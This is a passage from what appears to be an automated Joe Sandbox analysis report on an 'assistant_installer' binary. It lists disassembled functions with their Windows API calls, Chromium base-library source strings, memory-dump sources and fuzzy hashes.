                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen
                                                                                                                                                                                                                • String ID: ,$F6y$__DISABLED_OTHER_EVENTS$__OTHER_EVENTS
                                                                                                                                                                                                                • API String ID: 4218353326-1964989116
                                                                                                                                                                                                                • Opcode ID: 26424738083ee82fdade5cec286fa5e050555684ac17ac73af39af087d1421d4
                                                                                                                                                                                                                • Instruction ID: 3d356ca6868f5351950a013c35f720c19a61c737a442fc57964c3388a060775c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 26424738083ee82fdade5cec286fa5e050555684ac17ac73af39af087d1421d4
                                                                                                                                                                                                                • Instruction Fuzzy Hash: B6A1BEB1908340EFDB10CF54D481A6BBBE4FF95354F05891DF88597261D774EA89CB82
                                                                                                                                                                                                                Function 00778290 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 208COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(000000D0), ref: 007782C6
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(?), ref: 007783F1
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireRelease
                                                                                                                                                                                                                • String ID: ../../base/debug/activity_tracker.cc$RecordProcessExit$^_[]
                                                                                                                                                                                                                • API String ID: 17069307-2666811147
                                                                                                                                                                                                                • Opcode ID: f45addbc5cde1bcf9e260a82dd6a46f3f88119e94009a626f9068d436c6a7d11
                                                                                                                                                                                                                • Instruction ID: 478b9ed2b9166dd0df12717f36ee705d4d6af6c20b3a3627cc0bfd5f461268d5
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f45addbc5cde1bcf9e260a82dd6a46f3f88119e94009a626f9068d436c6a7d11
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 88816CB0600701DFDB60DF28C888B16BBE4BF19714F14856DE88E8B652DB75F849CB92
                                                                                                                                                                                                                Function 0073A330 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 177COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetFileInformationByHandle.KERNEL32(00000000,?,?,00000000), ref: 0073A40F
                                                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 0073A48E
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ReadStreamToStringWithMaxSize, xrefs: 0073A3C3
                                                                                                                                                                                                                • ../../base/files/file_util.cc, xrefs: 0073A3BE
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FileHandleInformation__fread_nolock
                                                                                                                                                                                                                • String ID: ../../base/files/file_util.cc$ReadStreamToStringWithMaxSize
                                                                                                                                                                                                                • API String ID: 860753551-4143436111
                                                                                                                                                                                                                • Opcode ID: fed15feb01d0de8c4517e9dbfaa6df39c641136f335c15c255c35bec7f24e174
                                                                                                                                                                                                                • Instruction ID: 0759aae2f20f9a0a7b84204c53473f42d5908b0d8d770205a0786fecceed4e81
                                                                                                                                                                                                                • Opcode Fuzzy Hash: fed15feb01d0de8c4517e9dbfaa6df39c641136f335c15c255c35bec7f24e174
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D361C6B1A04381ABE710DF28C84676BB7E5BFC5314F14462DF8C997282E775D9458783
                                                                                                                                                                                                                Function 007412D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 169COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00577B38,?), ref: 00741388
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00577B38,FFFFFFFF,?,00000001,00860FB4,?,00701CCA), ref: 00741479
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 007414B9
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00741510
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$AcquireInit_thread_footerInit_thread_headerRelease
                                                                                                                                                                                                                • String ID: 8{W
                                                                                                                                                                                                                • API String ID: 2580794422-3976005968
                                                                                                                                                                                                                • Opcode ID: 6a3a5969f7394818f4888a7411cf2e34322b88d1ecb992404afa109d86a0ac01
                                                                                                                                                                                                                • Instruction ID: eee7fcacc0196cfd8b9f4224b61f9b2937a5e0e6115c8e3cc08351877ed7a246
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 6a3a5969f7394818f4888a7411cf2e34322b88d1ecb992404afa109d86a0ac01
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 0A5127B1A007459BDB20EF28D845BBBB7B0FF86310F44422CE85657782E738B985CB91
                                                                                                                                                                                                                Function 00751AD0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 120fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ReplaceFileW.KERNEL32 ref: 00751BDC
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00751BE8
                                                                                                                                                                                                                • MoveFileW.KERNEL32(FFFFFFFF,FFFFFFFF), ref: 00751C0D
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: File$ErrorLastMoveReplace
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$ReplaceFileW
                                                                                                                                                                                                                • API String ID: 3435996589-538166249
                                                                                                                                                                                                                • Opcode ID: eeb366b514ab133769b85839bb3002571342e9b1a13f9c10346654cb9d7ca8b6
                                                                                                                                                                                                                • Instruction ID: 0c2d0305929da3784016ad4794a98931b762218ad2a19f85a10344f563d71176
                                                                                                                                                                                                                • Opcode Fuzzy Hash: eeb366b514ab133769b85839bb3002571342e9b1a13f9c10346654cb9d7ca8b6
                                                                                                                                                                                                                • Instruction Fuzzy Hash: FF415DB19003816BE310EF28DC45B6BB7A4BF91325F044A1DFDD597282FB74E5488782
                                                                                                                                                                                                                Function 007D4E30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00000000,?,00989680,?,007A987A,?,?,00000028,?,?,?,?,00989680), ref: 007D4E4B
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00000000,?,007A987A,?,?,00000028,?,?,?,?,00989680), ref: 007D4E69
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00000000,?,007A987A,?,?,00000028,?,?,?,?,00989680), ref: 007D4EBB
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • ../../base/files/important_file_writer_cleaner.cc, xrefs: 007D4F09
                                                                                                                                                                                                                • AddDirectory, xrefs: 007D4F0E
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$Release$Acquire
                                                                                                                                                                                                                • String ID: ../../base/files/important_file_writer_cleaner.cc$AddDirectory
                                                                                                                                                                                                                • API String ID: 1021914862-215382998
                                                                                                                                                                                                                • Opcode ID: 5785647cbd88aa51c4711ddc775b6ebd909cdc0610b80cbd477dccd41bf2b812
                                                                                                                                                                                                                • Instruction ID: d81093918a8df8a4a40aa81592485eb5ab9db63131d96cfb648069b2c1696c2f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5785647cbd88aa51c4711ddc775b6ebd909cdc0610b80cbd477dccd41bf2b812
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3731E6B0E00204ABDB14AF64D8896AEBBB5FF44305F08051AF84957382D73CAD14CBD2
                                                                                                                                                                                                                Function 0073D000 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 107COMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • TryAcquireSRWLockExclusive.KERNEL32(00000000,007C3059,007C3059,33B6CE54,?,?,?,?,007C3059,0086C218), ref: 0073D021
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,007C3059,0086C218), ref: 0073D032
                                                                                                                                                                                                                • ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,007C3059,0086C218), ref: 0073D09A
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • NotifyFieldTrialGroupSelection, xrefs: 0073D0FA
                                                                                                                                                                                                                • ../../base/metrics/field_trial.cc, xrefs: 0073D0F5
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ExclusiveLock$Release$Acquire
                                                                                                                                                                                                                • String ID: ../../base/metrics/field_trial.cc$NotifyFieldTrialGroupSelection
                                                                                                                                                                                                                • API String ID: 1021914862-2651062977
                                                                                                                                                                                                                • Opcode ID: f685369effc8f08064acdcad917b19e4fe5665764190cb5c54d406833cfdc31f
                                                                                                                                                                                                                • Instruction ID: 9c690dbf5b23092737ebd82053cff8a72cd8e97e554f30793cc97661992ec557
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f685369effc8f08064acdcad917b19e4fe5665764190cb5c54d406833cfdc31f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: EB31B0B1E00258AFEF39DB60E889FAE7B78BB45B04F040059F8456B243D779AD46C791
                                                                                                                                                                                                                Function 00753500 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CopyFileW.KERNEL32(?,?,?,?,008A4C24), ref: 00753613
                                                                                                                                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 0075361E
                                                                                                                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 00753639
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: File$Attributes$Copy
                                                                                                                                                                                                                • String ID: ../../base/files/file_util_win.cc$DoCopyFile
                                                                                                                                                                                                                • API String ID: 1180250742-495309063
                                                                                                                                                                                                                • Opcode ID: ee376c0091f3e3a0f30940d31c8f5dae88b420b59996072045f169768f4da1e1
                                                                                                                                                                                                                • Instruction ID: 59862d771df9fc09dd4e18ce17ce618e9404763d18fdaaa1686061d9e42d4a98
                                                                                                                                                                                                                • Opcode Fuzzy Hash: ee376c0091f3e3a0f30940d31c8f5dae88b420b59996072045f169768f4da1e1
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3A3149715043806BD720AB38CC496AAB795FF857B1F04471DF8F0932D2EBBC9A498742
                                                                                                                                                                                                                Function 0073C850 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • FormatMessageA.KERNEL32(00001200,00000000,0073CACF,00000000,?,00000100,00000000), ref: 0073C90B
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0073C929
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 0073C991
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • (0x%lX), xrefs: 0073C91A
                                                                                                                                                                                                                • Error (0x%lX) while retrieving error. (0x%lX), xrefs: 0073C999
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFormatLastMessage_strlen
                                                                                                                                                                                                                • String ID: (0x%lX)$Error (0x%lX) while retrieving error. (0x%lX)
                                                                                                                                                                                                                • API String ID: 2706427827-3206765257
                                                                                                                                                                                                                • Opcode ID: daee20fa1e857bd67c14167766a0d3ac7ed3fb7d75fb164a2303bf7ba47bdf5c
                                                                                                                                                                                                                • Instruction ID: 62a89cc2a7896691e4b069fcb9f44a834d1b9c956f95e0a0656b69d544084d5a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: daee20fa1e857bd67c14167766a0d3ac7ed3fb7d75fb164a2303bf7ba47bdf5c
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7B4194B19083C19AE3219B14DC82B6BBBA4FFDE320F10471DF9C496142EBB49584C793
                                                                                                                                                                                                                Function 0070FADF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91windowCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • FormatMessageA.KERNEL32(00001200,00000000,?,00000409,?,00000100,00000000), ref: 0070FB23
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0070FB47
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 0070FBCA
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • (0x%lX), xrefs: 0070FB38
                                                                                                                                                                                                                • Error (0x%lX) while retrieving error. (0x%lX), xrefs: 0070FBD2
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFormatLastMessage_strlen
                                                                                                                                                                                                                • String ID: (0x%lX)$Error (0x%lX) while retrieving error. (0x%lX)
                                                                                                                                                                                                                • API String ID: 2706427827-3206765257
                                                                                                                                                                                                                • Opcode ID: 5b0f8f0ce8d90389196c1f6d9c7db2265a5690706e7605e118bf59d7d0280d7f
                                                                                                                                                                                                                • Instruction ID: d1fe64c982820189f52011e4ba1c724767fe9ea9bc9b44704ab9045d4faf4719
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 5b0f8f0ce8d90389196c1f6d9c7db2265a5690706e7605e118bf59d7d0280d7f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 03312EB1D0022C6FEB246B24EC46FFB7B78EF46314F0440A4F949A7242D6355E44CAE1
                                                                                                                                                                                                                Function 00753CE0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ReadFile.KERNEL32(00000000,?,?,FFFFFFFF,?), ref: 00753DB3
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00753DCA
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFileLastRead
                                                                                                                                                                                                                • String ID: ../../base/files/file_win.cc$File::Read$Read
                                                                                                                                                                                                                • API String ID: 1948546556-1732825555
                                                                                                                                                                                                                • Opcode ID: 3753204aac7490c05cec0c7914fd0f90198ab5cc382f6b0d9babc947278fd133
                                                                                                                                                                                                                • Instruction ID: d96c8726231b8c59cef7b12bb26e72d4e63e57342298e02d59391e7700456d1b
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3753204aac7490c05cec0c7914fd0f90198ab5cc382f6b0d9babc947278fd133
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 3E31BA71104384ABD310DF28C885AAAB7B8FFC93B0F104B1DF9E5422D1EBB49604CB92
                                                                                                                                                                                                                Function 00753E10 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 78fileCOMMON
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • ReadFile.KERNEL32(00000000,?,00000000,FFFFFFFF,00000000), ref: 00753EC5
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00753EDC
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000014.00000002.2698307317.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698285865.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698401967.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698461477.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698484109.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000014.00000002.2698511239.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_20_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorFileLastRead
                                                                                                                                                                                                                • String ID: ../../base/files/file_win.cc$File::ReadAtCurrentPos$ReadAtCurrentPos
                                                                                                                                                                                                                • API String ID: 1948546556-1204052406
                                                                                                                                                                                                                • Opcode ID: a12d41671d13f16cd5b41ba3a4255d5608432027059467bec704b9aa6fedc144
                                                                                                                                                                                                                • Instruction ID: ff1364dd0ef5796cd80eb5ba8644d9c1dee02cc1269552ee5377eeb329670dd2
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a12d41671d13f16cd5b41ba3a4255d5608432027059467bec704b9aa6fedc144
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 5D21D2311043809BD210EF68CC86A6BB7A8FFC53B0F504B1DB9F5561D2EBB49A08C752
                                                                                                                                                                                                                Function 00854AC2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • FreeLibrary.KERNEL32(00000000,?,?,00854B83,0088C2C4,0088C2BC,00000000,00000011,?,00854A1C,00000002,FlsGetValue,0088C2BC,0088C2C4,00000011), ref: 00854B52
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
